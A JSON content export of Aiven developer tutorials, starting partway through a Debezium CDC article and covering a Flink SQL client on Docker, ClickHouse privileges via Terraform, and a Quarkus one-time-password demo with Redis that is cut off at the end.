Click on **Fetch Messages**\n* Enable **Decode from base64**\n\nYou should see the same dataset we previously pushed to RDS appearing in JSON format in the topic:\n\n![CDC data appearing in Apache Kafka](https://cdn.sanity.io/images/sczeoy4w/production/9c7b6a4f9f6792e9e9a69ade5a3d6f0a9d076898-1469x1073.png)\n\nNow, if you perform an `INSERT`, `DELETE`, and `UPDATE` in RDS using `psql` in the command line, such as the following:\n\n```\nINSERT INTO MY_BOOK (TITLE) VALUES ('WHEN IS PASTA OVERCOOKED?');\nDELETE FROM MY_BOOK WHERE TITLE='IS LIFE WITHOUT TOMATO POSSIBLE?';\nUPDATE MY_BOOK SET TITLE='HOW TO COOK BREAD' WHERE TITLE='HOW TO MAKE BREAD';\n```\n\nThe above changes should immediately be visible in the Aiven for Apache Kafka by clicking on the **Fetch Messages** button.\n\n![The last three changes being visualized in the Aiven for Apache Kafka topic](https://cdn.sanity.io/images/sczeoy4w/production/a0ce4892fb9fc92d0ec41b2f2a05895d45ee6ec2-1470x1027.png)\n\n## Conclusion\n\nSetting up a change data capture process from an Azure SQL database to Apache Kafka with the Debezium connector is a powerful way to stream inserts/updates/deletes to one or more consumers in real time. The Debezium CDC process with SQL server relies on change tables being created in the database, so some the source database needs some modifications to enable this functionality. \n\n## More resources\n\n* [Debezium SQL Server connector parameters](https://debezium.io/documentation/reference/stable/connectors/sqlserver.html)\n* [Create a SQL Server source connector with Aiven](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-sql-server)\n* [Enable Change Data Capture in SQL server](https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sys-sp-cdc-enable-db-transact-sql?view=sql-server-ver16)\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-12-11T09:46:24.713Z"},"internalTags":[{"_key":"5bfb15f318cf","_ref":"4fee17d2-f553-4f9f-8a5c-633a8b352c4c","_type":"tag"},{"_key":"acb1d9a59b47","_ref":"e518505d-84ca-4d42-8c11-077ba192bf3e","_type":"tag"}],"publishedAt":"2023-12-19T11:00:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"White text over a blue background that reads \"Change Data Capture from Azure SQL to Apache Kafka with Debezium\". The Aiven logo, a red crab and white text with the word \"Aiven\" in lowercase, is in the lower left hand corner.","asset":{"_ref":"image-c8169e382dd43a97fa74c64b0ead1ba3d26c28e3-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/change-data-capture-azure-sql-to-apache-kafka"},"subtitle":"Implement a real-time change data capture workflow from an Azure SQL database using Aiven for Apache Kafka® and Debezium","tags":[{"_key":"e5fd70e82bea","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"4cfae6c760d7","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"efe25c2695d4","_ref":"6e718308-0932-4545-b8c2-c9df3013ec4e","_type":"tag"},{"_key":"964cce1658ff","_ref":"a04702b4-48a1-492f-9600-6bd38971cc2c","_type":"tag"}],"title":"Change Data Capture from Azure SQL to Apache Kafka® with Debezium"} {"__i18n_lang":"en","_createdAt":"2023-08-07T07:00:19Z","_id":"1751eeb7-8ece-43a3-b3b9-2951b286eeab","_rev":"ZLvKaZvfbZlWBlGcpIpHyC","_type":"devArticle","_updatedAt":"2024-01-29T15:45:20Z","body":"[Apache Flink®](https://aiven.io/flink) is an open source framework for data processing in both stream and batch mode. It supports a variety of different data platforms, including Apache Kafka® and any JDBC database. Flink's superpowers come in a variety of languages: from the more traditional Java and Scala, all the way to Python. And for Python there is [pyFlink](https://nightlies.apache.org/flink/flink-docs-release-1.12/dev/python/installation.html) that you can use with the best Machine Learning libraries available.\n\nHowever, in the data world, one of the most commonly-known languages is SQL. From data analysts, to scientists and engineers, SQL is usually part of the toolkit of data practitioners. SQL provides an abstraction to data access and manipulation that goes beyond technologies and trends. You can use it to query your data no matter what the underlying tech is (with minor dialect differences).\n\nWith Apache Flink, you can define whole data pipelines in pure SQL using its [SQL Client](https://nightlies.apache.org/flink/flink-docs-release-1.14/docs/dev/table/sqlclient/). This blog post will get you set up with a local Docker-based platform for Apache Flink, including an SQL client.\n\n## Set up Apache Flink locally with Docker Compose\n\nAs mentioned above, Apache Flink is a very interesting technology and worth trying out. When evaluating a new tool, running it locally is a two-edged sword. On the one hand, you get the benefit of understanding its inner mechanism better. On the other, you also get the pain of the setup phase.\n\nTo skip the setup pain, try Docker. It offers tools as pre-packaged solutions portable to any guest OS with minimal effort.\n\nWhen looking around for content around Flink's SQL client I found [a demo on Apache Flink's website](https://flink.apache.org/2020/07/28/flink-sql-demo-building-e2e-streaming-application.html), which is quite good but not for casual experimentation. That's why I've created a lighter tutorial. This article, with its [related Github repository](https://github.com/Aiven-Open/sql-cli-for-apache-flink-docker), takes the minimal building blocks and provides a basic Flink functionality, expecting any data pipeline source or target to be available outside the containers. Before starting, make sure that both [Docker](https://docs.docker.com/engine/install/) and [Docker Compose](https://docs.docker.com/compose/install/) are installed.\n\nThe whole code is contained in the `Aiven-Open/sql-cli-for-apache-flink-docker` repository, which we can clone with the following call in our terminal:\n\n```bash\ngit clone https://github.com/Aiven-Open/sql-cli-for-apache-flink-docker.git\n```\n\nNow let's open the `sql-cli-for-apache-flink-docker` folder and start the docker compose:\n\n```bash\ncd sql-cli-for-apache-flink-docker\ndocker-compose up -d\n```\n\nThis will start 3 Apache Flink nodes in the background: a `jobmanager`, a `taskmanager` and the `sql-client`. We can review the details of the cluster like this:\n\n```bash\ndocker-compose ps\n```\n\nThis should show the three containers being in `Up` state:\n\n```bash\n Name Command State Ports\n-------------------------------------------------------------------------------------------------------------------------\nsql-cli-for-apache-flink-docker_jobmanager_1 /docker-entrypoint.sh jobm ... Up 6123/tcp, 0.0.0.0:8081-\u003e8081/tcp\nsql-cli-for-apache-flink-docker_taskmanager_1 /docker-entrypoint.sh task ... Up 6123/tcp, 8081/tcp\nsql-client /docker-entrypoint.sh Up 6123/tcp, 8081/tcp\n```\n\nFlink's web UI is now available at `localhost:8081`. This is a useful tool for browsing information about Flink's status and the data pipelines we're going to create.\n![flink-web-ui](//cdn.sanity.io/images/sczeoy4w/production/5353838d005703ad72b60d947bd5ba3b1cc24828-1340x535.png \"The Flink web UI\")\n\n### Notes about setting up Docker Compose\n\nIn `docker-compose.yml` we map the `settings` subfolder to the `jobmanager` Docker container `/settings` folder. This way, settings files can be passed between host and guest, which is helpful if specific host generated files (e.g. Keystores) are needed for authentication.\n\nThe `data` subfolder is also mapped to the `taskmanager` and `jobmanager` containers. This is purely because I needed to provide the SQL example below, but could be useful in cases where we want to test Apache Flink behaviour against files in a local file system. The `data` subfolder contains a `test.csv` file with made-up data that we'll use to test Apache Flink.\n\n## Unleashing the power of SQL\n\nIf we want to play with Flink's SQL, we need to enter the `sql-client` container. We can do that by executing the following command in the terminal:\n\n```bash\ndocker exec -it sql-client /bin/bash\n```\n\nNow we're in, we can start the Flink's SQL client with\n\n```bash\n./sql-client.sh\n```\n\nThere we are! We have a fully functional SQL client that we can use to create data pipelines attaching to a variety of data sources and targets. As a little demo example we can query the `test.csv` file within the `flink-sql-cli-docker/data` folder by defining the associated Flink table within the SQL Client:\n\n```sql\ncreate table\n people_job (\n id INT,\n name STRING,\n job STRING,\n salary BIGINT\n )\n WITH (\n 'connector' = 'filesystem',\n 'path' = 'file:///data/test.csv',\n 'format' = 'csv',\n 'csv.ignore-parse-errors' = 'true'\n );\n```\n\nAnd we can query the table:\n\n```\nselect * from people_job;\n```\n\nWith the following results:\n\n```\n+/- id name job salary\n + 1 Ugo Football Player 200000\n + 2 Carlo Crocodile domesticator 30000\n + 3 Maria Software Engineer 210000\n + 4 Sandro UX Designer 70000\n + 5 Melissa Software Engineer 95000\n```\n\nExit Flink's table view by pressing `Q`.\n\n::banner[A fully managed service for Apache Flink for all your real time ETL and streaming analytics use cases.]{ctaText=\"Start your free trial\" ctaLink=\"https://aiven.io/flink\" title=\"Aiven for Apache Flink®\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/c96d109662fa0afd283a3ce7fbd1af8a8005f682-64x64.svg\" theme=\"dark\"}\n\n## Create a Data Target: PostgreSQL®\n\nLet's assume that we want to push the aggregated average salary and people count by job to a PostgreSQL® table. If you don't have a PostgreSQL instance, you can quickly create it with the following [Aiven's CLI](https://aiven.io/docs/tools/cli) command in a new terminal window:\n\n```bash\navn service create pg-flink \\\n -t pg \\\n --cloud google-europe-west3 \\\n --plan startup-4\n```\n\nThis creates a PostgreSQL instance (`-t pg`), in `google-europe-west3` with a `startup-4` plan. Let's wait for the service to be ready:\n\n```bash\navn service wait pg-flink\n```\n\nLet's create a target table `job_details` that we'll use to push data from Flink. From the same terminal window we can execute the following:\n\n```bash\navn service cli pg-flink\n```\n\nand then\n\n```sql\ncreate table job_summary (\n job VARCHAR PRIMARY KEY,\n avg_salary BIGINT,\n nr_people BIGINT\n );\n```\n\n## Create the SQL pipeline\n\nNow it's time to retrieve the connection parameters to PostgreSQL with the following command in a new terminal window:\n\n```bash\navn service get pg-flink \\\n --format '{service_uri_params}'\n```\n\nThe output should be similar to the following:\n\n```\n{\n 'dbname': 'defaultdb',\n 'host': '\u003chostname\u003e.aivencloud.com',\n 'password': '\u003cpassword\u003e',\n 'port': '13039',\n 'sslmode': 'require',\n 'user': 'avnadmin'\n}\n```\n\nTake note of the `host`, `port`, `user`, `dbname` and `password` details above and use them to create a Flink table pointing to PostgreSQL. Paste the following SQL into Flink's SQL Cli, replacing `\u003chost\u003e` and so on with the values you just made note of.\n\n```sql\ncreate table\n job_summary_flink(\n job STRING,\n avg_salary BIGINT,\n nr_people BIGINT,\n PRIMARY KEY (job) NOT ENFORCED\n )\n WITH (\n 'connector' = 'jdbc',\n 'url' = 'jdbc:postgresql://\u003chost\u003e:\u003cport\u003e/\u003cdbname\u003e?sslmode=require',\n 'table-name' = 'job_summary',\n 'username' = '\u003cusername\u003e',\n 'password' = '\u003cpassword\u003e'\n );\n```\n\nNow let's create the SQL pipeline with the following command in Flink SQL Client:\n\n```sql\ninsert into job_summary_flink\n select job,\n avg(salary),\n count(*)\n from people_job\n group by job;\n```\n\nWe should see an output from the SQL Client like this:\n\n```sql\n[INFO] Submitting SQL update statement to the cluster...\n[INFO] Table update statement has been successfully submitted to the cluster:\nJob ID: b2d8b019c6c6e3dc5fe63902a14c13a9\n```\n\nAnd we can now check that Flink's table has been correctly populated with the following SQL from Flink's CLI:\n\n```sql\nselect * from job_summary_flink;\n```\n\nwhich results in\n\n```sql\n+/- job avg_salary nr_people\n + UX Designer 70000 1\n + Crocodile domesticator 30000 1\n + Football Player 200000 1\n + Software Engineer 152500 2\n```\n\nAnd also checking we can obtain the same result from PostgreSQL with the following command in the PostgreSQL client terminal window:\n\n```sql\nselect * from job_summary;\n```\n\nResulting\n\n```sql\n job | avg_salary | nr_people\n------------------------+------------+-----------\nUX Designer | 70000 | 1\nCrocodile domesticator | 30000 | 1\nFootball Player | 200000 | 1\nSoftware Engineer | 152500 | 2\n(4 rows)\n```\n\n## Wrapping up\n\nThis article provides a way to get Apache Flink's SQL Client as a set of Docker containers. It expects additional data sources or targets to be available outside the container and can be used to start the learning journey into Flink. The sql pipeline example shows an integration between a local csv file and PostgreSQL. \n\n\nSome additional resources:\n* [Aiven for Apache Flink page](https://aiven.io/flink \"Aiven for Apache Flink\")\n* [Apache Flink Home page](https://flink.apache.org/)\n* [Apache Flink SQL Client](https://ci.apache.org/projects/flink/flink-docs-stable/dev/table/sqlClient.html)\n* [Apache Flink SQL Client Demo](https://flink.apache.org/2020/07/28/flink-sql-demo-building-e2e-streaming-application.html)\n* [Apache Flink Docker GitHub Repository](https://github.com/Aiven-Open/sql-cli-for-apache-flink-docker)\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [RSS feeds](https://aiven.io/developer/feed.xml) or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-14T07:00:15.597Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"publishedAt":"2021-05-06T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Pure SQL pipelines using Flink? Learn how to set them up with a local Docker-based platform for Apache Flink, including an SQL client!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-5acd6ce14c8f5be2d1dedcbe6ae765a380851b6c-1200x628-jpg","_type":"reference"}},"metaTitle":"Apache Flink® SQL client on Docker"},"slug":{"_type":"slug","current":"/developer/apache-flink-sql-client-on-docker"},"subtitle":"Pure SQL pipelines using Apache Flink®? Learn how to set them up with a local Docker-based platform for Flink, including an SQL client!","tags":[{"_key":"840f4b1bf01c","_ref":"665d1689-e4a5-43d5-bfbe-a673d66b1a41","_type":"tag"},{"_key":"31591a5afbcb","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Apache Flink® SQL client on Docker"} {"__i18n_lang":"en","_createdAt":"2023-08-23T07:56:07Z","_id":"1092241d-cf60-40cf-8e7f-eaf3e94eadd2","_rev":"m47zVAKzspt7UjVx7zHdGD","_type":"devArticle","_updatedAt":"2024-08-05T12:06:00Z","body":"This article shows by way of example how to set up user permissions for a Terraform project containing an [Aiven for ClickHouse®](https://aiven.io/clickhouse) service. It details how to grant:\n\n* Read-and-write access for users who need to write to the database (writer role)\n* Read-only access for users who need to read from the database (analyst role).\n\n## Prerequisites\n\n* [Download and install Terraform](https://www.terraform.io/downloads).\n* [Sign up](https://console.aiven.io/signup) for Aiven if you haven't already.\n* [Generate an authentication token](https://aiven.io/docs/platform/howto/create_authentication_token.html).\n\nFor information on what types of access you can grant to your project, see [Project members and roles](https://aiven.io/docs/platform/howto/manage-project).\n\n## Describe the setup\n\nImagine that you are collecting IoT measurements from thousands of sensors and these metrics are populated in Apache Kafka® topic ``iot_measurements``.\n\nYou may wish to create an Aiven for ClickHouse service along with a database containing IoT sensor measurements and\ncorrect permissions for two roles: the writer role (allowed to insert data) and the analyst role (allowed to query data).\n\n## Common files\n\nNavigate to a new folder and add the following files:\n\n### ``provider.tf`` file\n\n```toml\n terraform {\nrequired_providers {\n aiven = {\n source = \"aiven/aiven\"\n version = \"\u003e=4.0.0, \u003c 5.0.0\"\n }\n}\n }\n\n provider \"aiven\" {\napi_token = var.aiven_api_token\n }\n```\n\nYou can set environment variable ``TF_VAR_aiven_api_token`` for the ``api_token`` property so that you don't need to pass the ``-var-file`` flag when executing Terraform commands.\n\n### ``variables.tf`` file\n\nUse it for defining the variables to avoid including sensitive information in source control. The ``variables.tf`` file defines the API token, the project name to use, and the prefix for the service name:\n\n```toml\n variable \"aiven_api_token\" {\ndescription = \"Aiven console API token\"\ntype = string\n }\n\n variable \"project_name\" {\ndescription = \"Aiven console project name\"\ntype = string\n }\n```\n\n### ``*.tfvars`` file\n\nUse it to indicate the actual values of variables so that they can be passed (with the ``-var-file=`` flag) to Terraform during runtime and excluded later on. Configure the ``var-values.tfvars`` file as follows:\n\n```toml\naiven_api_token = \"\u003cYOUR-AIVEN-AUTHENTICATION-TOKEN-GOES-HERE\u003e\"\nproject_name = \"\u003cYOUR-AIVEN-CONSOLE-PROJECT-NAME-GOES-HERE\u003e\"\n```\n\n## Services.tf file\n\nConfigure the ``services.tf`` file as follows to set up the service with the database:\n\n```toml\nresource \"aiven_clickhouse\" \"clickhouse\" {\n project = var.project_name\n cloud_name = \"google-europe-west1\"\n plan = \"startup-16\"\n service_name = \"clickhouse-gcp-eu\"\n maintenance_window_dow = \"monday\"\n maintenance_window_time = \"10:00:00\"\n}\n\nresource \"aiven_clickhouse_database\" \"measurements\" {\n project = var.project_name\n service_name = aiven_clickhouse.clickhouse.service_name\n name = \"iot_measurements\"\n}\n```\n\n* ``\"aiven_clickhouse\"`` resource creates an Aiven for ClickHouse service with the project name, the cloud name (provider, region, zone), the service plan, and the service name as specified in the ``services.tf`` file.\n* ``\"aiven_clickhouse_database\"`` resource creates a database with the project name, the service name, and the database name as specified in the ``services.tf`` file.\n\n## Writer role - read-and-write access\n\nConfigure the ``access-writer.tf`` file as follows to grant write permissions to users:\n\n```toml\n// ETL user with write permissions to the IoT measurements DB\nresource \"aiven_clickhouse_user\" \"etl\" {\n project = var.project_name\n service_name = aiven_clickhouse.clickhouse.service_name\n username = \"etl\"\n}\n\n// Writer role that will be granted insert privilege to the measurements DB\nresource \"aiven_clickhouse_role\" \"writer\" {\n project = var.project_name\n service_name = aiven_clickhouse.clickhouse.service_name\n role = \"writer\"\n}\n\n// Writer role's privileges\nresource \"aiven_clickhouse_grant\" \"writer_role\" {\n project = aiven_clickhouse.clickhouse.project\n service_name = aiven_clickhouse.clickhouse.service_name\n role = aiven_clickhouse_role.writer.role\n\n privilege_grant {\n privilege = \"INSERT\"\n database = aiven_clickhouse_database.measurements.name\n table = \"*\"\n }\n\n privilege_grant {\n privilege = \"SELECT\"\n database = aiven_clickhouse_database.measurements.name\n table = \"*\"\n }\n}\n\n// Grant the writer role to the ETL user\nresource \"aiven_clickhouse_grant\" \"etl_user\" {\n project = aiven_clickhouse.clickhouse.project\n service_name = aiven_clickhouse.clickhouse.service_name\n user = aiven_clickhouse_user.etl.username\n\n role_grant {\n role = aiven_clickhouse_role.writer.role\n }\n}\n```\n\n* ``\"aiven_clickhouse_user\"`` resource creates a user that can connect to the cluster.\n* ``\"aiven_clickhouse_role\"`` resources creates a role that can be granted fine-grained privileges at the table level.\n* ``\"aiven_clickhouse_grant\".\"writer_role\"`` resource specifies the privileges and the scope of their application for the writer role using the ``privilege_grant`` nested configuration.\n* ``\"aiven_clickhouse_grant\".\"etl_user\"`` assigns the writer role to the ``etl`` user.\n\n## Analyst role - read access\n\nConfigure the ``access-analyst.tf`` file as follows to grant read access to users:\n\n```toml\n// Analyst user with read-only access to the IoT measurements DB\nresource \"aiven_clickhouse_user\" \"analyst\" {\n project = var.project_name\n service_name = aiven_clickhouse.clickhouse.service_name\n username = \"analyst\"\n}\n\n// Reader role that will be granted insert privilege to the measurements DB\nresource \"aiven_clickhouse_role\" \"reader\" {\n project = var.project_name\n service_name = aiven_clickhouse.clickhouse.service_name\n role = \"reader\"\n}\n\n// Reader role's privileges\nresource \"aiven_clickhouse_grant\" \"reader_role\" {\n project = aiven_clickhouse.clickhouse.project\n service_name = aiven_clickhouse.clickhouse.service_name\n role = aiven_clickhouse_role.reader.role\n\n privilege_grant {\n privilege = \"SELECT\"\n database = aiven_clickhouse_database.measurements.name\n table = \"*\"\n }\n}\n\n// Grant the reader role to the Analyst user\nresource \"aiven_clickhouse_grant\" \"analyst_user\" {\n project = aiven_clickhouse.clickhouse.project\n service_name = aiven_clickhouse.clickhouse.service_name\n user = aiven_clickhouse_user.analyst.username\n\n role_grant {\n role = aiven_clickhouse_role.reader.role\n }\n}\n```\n\n* ``\"aiven_clickhouse_user\"`` resource creates a user that can connect to the cluster.\n* ``\"aiven_clickhouse_role\"`` resources creates a role that can be granted fine-grained privileges at the table level.\n* ``\"aiven_clickhouse_grant\".\"reader_role\"`` resource specifies the privileges and the scope of their application for the reader's role using the ``privilege_grant`` nested configuration.\n* ``\"aiven_clickhouse_grant\".\"analyst_user\"`` assigns the writer role to the ``analyst`` user.\n\n## Execute the files\n\nRun the following command:\n\n```bash\nterraform init\n```\n\nThe ``init`` command performs initialization operations to prepare the working directory for use with Terraform. For this recipe, ``init`` automatically finds, downloads, and installs the necessary Aiven Terraform Provider plugins.\n\nNext, run the following command:\n\n```bash\nterraform plan -var-file=var-values.tfvars\n```\n\nThe ``plan`` command creates an execution plan and shows the resources to be created (or modified). This command doesn't actually create any resources but gives you a heads-up on what's going to happen.\n\nIf the output of ``terraform plan`` looks as expected, run the following command:\n\n```terraform\nterraform apply -var-file=var-values.tfvars\n```\n\nThe ``terraform apply`` command creates (or modifies) your infrastructure resources.\n\n## More resources \n\n- [Aiven for ClickHouse® quickstart](https://aiven.io/docs/products/clickhouse/get-started)\n- [Create materialized views in ClickHouse®](https://aiven.io/docs/products/clickhouse/howto/materialized-views)\n- [Integrate ClickHouse® with Metabase, an open source BI tool](https://aiven.io/developer/clickhouse-metabase)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-30T07:56:04.421Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"82948dd951a4","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-23T07:48:51.992Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-40cf802b255997623fa798467b33c5c923244aff-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/manage-user-privileges-clickhouse-terraform"},"subtitle":"Configure read and write privileges for user groups in Aiven for ClickHouse® services using Terraform. A part of Aiven's Terraform Cookbook.","tags":[{"_key":"e280b5bb0e54","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"},{"_key":"9f5bd43f5ce3","_ref":"94e23adc-203f-4482-b8df-63aeab555411","_type":"tag"}],"title":"Manage user privileges for Aiven for Clickhouse® services using Terraform"} {"__i18n_lang":"en","_createdAt":"2023-03-24T15:20:54Z","_id":"9b5a36bf-8d80-4078-8917-50a84cd9b257","_rev":"2rELLQTW1ADhr05h4N7alO","_type":"devArticle","_updatedAt":"2024-06-19T13:10:33Z","body":"When building applications that run on Kubernetes, you want the start-up time and footprint to be small. Traditonal Java applications like to consume more than their constrained memory and CPU and you might have seen `OOMKilled` errors in your production applications. Brace yourself as this blog takes you on a \"supersonic\" journey with [Quarkus](https://quarkus.io/) (a fast and lightweight Java framework) and Aiven for Caching (fast in-memory data structure store). \n\n### Building a small one-time-password application\n\nImagine that you're building a one-time-password feature as part of a larger project. Your team is using Java, which they're familiar with, and Quarkus as the framework because they want the application to be Kubernetes-compatible (in terms of size and startup time). \n\nBesides a relational database, the team is also using Redis for fast querying of the generated one-time-passwords. This example uses [Aiven for Caching](https://aiven.io/caching) and you can [sign up for a free trial](https://console.aiven.io/signup) if you want to try it out. \n\nAn important consideration for your team is that both Quarkus and Aiven for Caching are open-source projects.\n\n### Before you start\n\nTo follow the hands-on portion of this blog, here are the software requirements:\n\n- [JDK 11+](https://openjdk.java.net/install/) \n- [Apache Maven 3.8.1+](https://maven.apache.org/install.html)\n- A [local Redis](https://redis.io/download/) or [managed](https://aiven.io/caching) Aiven for Caching instance \n\n### Time to build the app\n\n#### Create a Maven Project\n\nThe following command creates a new Maven project and adds the required extensions to your project. The Quarkus `redis-client` extension allows the user to connect to a Aiven for Caching server and run Redis commands. The `resteasy-jackson` extension allows to build RESTful web services and to process JSON data format. The `resteasy-mutiny` extension helps to build reactive APIs for asynchronous systems. \n\n```\nmvn io.quarkus.platform:quarkus-maven-plugin:3.7.3:create \\\n -DprojectGroupId=org.acme \\\n -DprojectArtifactId=one-time-password \\\n -Dextensions=\"redis-client,resteasy-jackson\" \\\n -DnoCode\ncd one-time-password\n```\n\n#### Getting the Aiven for Caching server details\n\nCreate an [Aiven for Caching](https://developer.aiven.io/docs/products/caching/get-started.html) instance. For this exercise, any service plan will do. Once the Aiven for Caching service is running, copy the **Service URI** from the *Overview* \u003e *Connection information* tab. \n\nGo to your favorite code editor and open the `one-time-password` project. Paste the **Service URI** to the `src \u003e main \u003e resources \u003e application.properties` file:\n\n```\nquarkus.redis.hosts=[YOUR REDIS CONNECTION INFORMATION GOES HERE]\n```\n\nIf you're running Redis on your local machine, use the following settings:\n\n```\nquarkus.redis.hosts=redis://localhost:6379 \n```\n\n#### Create the Otp POJO (Plain Old Java Object)\n\nThe `Otp` class creates a POJO (Plain Old Java Object) to hold the `session_key` and `otp_value`. The `generateRandomOtp` method generates a random value within a given range. \n\nCreate the `src/main/java/org/acme/redis/Otp.java` file and add the following:\n\n```\npackage org.acme.redis;\nimport java.util.Random;\n\npublic class Otp {\n final int lowRange = 100000;\n final int highRange = 999999;\n public String session_key;\n public int otp_value;\n\n public Otp(String session_key) {\n this.session_key = session_key;\n this.otp_value = generateRandomOtp(lowRange, highRange);\n }\n\n public Otp() {}\n\n private static int generateRandomOtp(int low, int high) {\n\n // Generate random int value from $low to ($high - 1)\n return low + new Random().nextInt(high - low);\n }\n}\n```\n\n#### Create the Otp Service\n\nYou are going to create the `OtpService` which will play the role of a Redis client. This class will help you perform the `GET`, `EXISTS`, `SETEX`, `SETNX`, and `TTL` Redis commands. For documentation on these see the [official Redis commands page](https://redis.io/commands/).\n\nCreate the `src/main/java/org/acme/redis/OtpService.java` file and add the following:\n\n```\npackage org.acme.redis;\nimport io.quarkus.redis.datasource.RedisDataSource;\nimport io.quarkus.redis.datasource.keys.KeyCommands;\nimport io.quarkus.redis.datasource.value.ValueCommands;\nimport jakarta.inject.Singleton;\n\n@Singleton\nclass OtpService {\n final long timeInSeconds = 20;\n\n \n RedisDataSource redisDataSource;\n\n private final ValueCommands\u003cString, String\u003e commands;\n private final KeyCommands\u003cString\u003e keyCommands;\n\n public OtpService(RedisDataSource redisDataSource) {\n this.redisDataSource = redisDataSource;\n commands = redisDataSource.value(String.class);\n keyCommands = redisDataSource.key();\n }\n\n public String getOtp(String session_key) {\n return commands.get(session_key).toString();\n }\n\n public void newOtp(String session_key) {\n Otp otp = new Otp(session_key);\n\n // SETNX will only create a key if it doesn't already exist\n // - so we won't overwrite an existing OTP value\n // Unfortunately SETNX can't set the TTL/expiration time\n if (commands.setnx(otp.session_key.toString(), String.valueOf(otp.otp_value))) { \n\n // Only update TTL/expiration if the OTP value was set\n commands.setex(otp.session_key.toString(),\n timeInSeconds,\n String.valueOf(otp.otp_value));\n }\n }\n\n public String getOtpTTL(String session_key) {\n return Long.toString(keyCommands.ttl(session_key));\n }\n\n public boolean keyExists(String session_key) {\n return keyCommands.exists(session_key);\n }\n}\n```\n\n#### Create the Otp Resource\n\nCreate the `src/main/java/org/acme/redis/OtpResource.java` file where you define the HTTP endpoints for your one-time-password service. \n\nObserve the `@Inject` annotation to easily create the service instance and `@Path(\"/otp\")` to indicate the creation of the HTTP endpoints. The same endpoint is used for both `GET` and `POST` calls. The great thing of using a framework like Quarkus is that without the annotations, you would have to write multiple lines of code to achieve the same outcome.\n\n```\npackage org.acme.redis;\nimport jakarta.inject.Inject;\nimport jakarta.ws.rs.GET;\nimport jakarta.ws.rs.POST;\nimport jakarta.ws.rs.Path;\nimport jakarta.ws.rs.QueryParam;\nimport io.vertx.core.json.JsonObject;\n\n@Path(\"/otp\")\npublic class OtpResource {\n @Inject\n OtpService service;\n\n @GET\n public JsonObject getOtp(@QueryParam(\"session_key\") String session_key) {\n\n // If the key doesn't exist, return an error response rather than the usual\n // object response\n if (!service.keyExists(session_key)) {\n return errorResponse();\n }\n JsonObject result = new JsonObject();\n result.put(\"OTP: \", service.getOtp(session_key));\n result.put(\"TTL: \", service.getOtpTTL(session_key));\n return result;\n }\n\n JsonObject errorResponse() {\n JsonObject result = new JsonObject();\n result.put(\"Message: \", \"The OTP key doesn't exist.\");\n return result;\n }\n\n @POST\n public void newOtp(@QueryParam(\"session_key\") String session_key) {\n service.newOtp(session_key);\n }\n}\n```\n\n### Run your new Quarkus app\n\nFrom the root of your one-time-password project, execute the following command:\n\n```\n ./mvnw quarkus:dev\n```\n\nNavigate to `http://localhost:8080/otp?session_key=[SOME_KEY]`, replacing `[SOME_KEY]` with any text. For your initial run, you'll receive an error response like this:\n\n```\n\"Message: \": \"The OTP key doesn't exist.\"\n```\n\nThis is because this key doesn't exist in Redis yet. From your terminal, make the following *POST* request to create your key:\n\n```\ncurl --location --request POST 'http://localhost:8080/otp?session_key=[SOME_KEY]'\n```\n\nNow reload your browser and you should receive a random 6-digit number as a one-time-password that expires in 20 seconds. If you wait more than 20 seconds, it will expire and you'll receive the error response again. \n\nIf you keep refreshing the page, you'll be getting the same OTP until the (time-to-live) TTL runs out.\n\nYou might also realize that you didn't have to do any server setup/handling for this application as Quarkus took care of that for you. Pretty cool, eh?\n\n### Further learning\n\nIn this blog, I provided you with a getting started experience with Aiven for Caching and demoed a use case by building a simple one-time-password application using the Quarkus framework. The design and implementation of actual one-time-password software is far more complex than the simple application mentioned here; for instance, it would probably not want to give the same OTP to different users. \n\nTo learn more about Quarkus:\n\n- [Quarkus project documentation](https://quarkus.io/)\n\nTo learn more about Redis and Aiven for Caching:\n\n- [Redis documentation](https://redis.io/docs/)\n- [Aiven for Caching - Developer Documentation](https://developer.aiven.io/docs/products/caching/)\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-03-31T14:20:48.824Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"d284ec43e12f","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2022-08-10T00:00:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-008c5554f158f97382f4f8e1baacce72c25d930d-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/redis-and-quarkus-app"},"subtitle":"Traditional Java apps are notorious for being large and slow to start. Read on to see how to use Quarkus and Aiven for Caching to make a Kubernetes-friendly Java 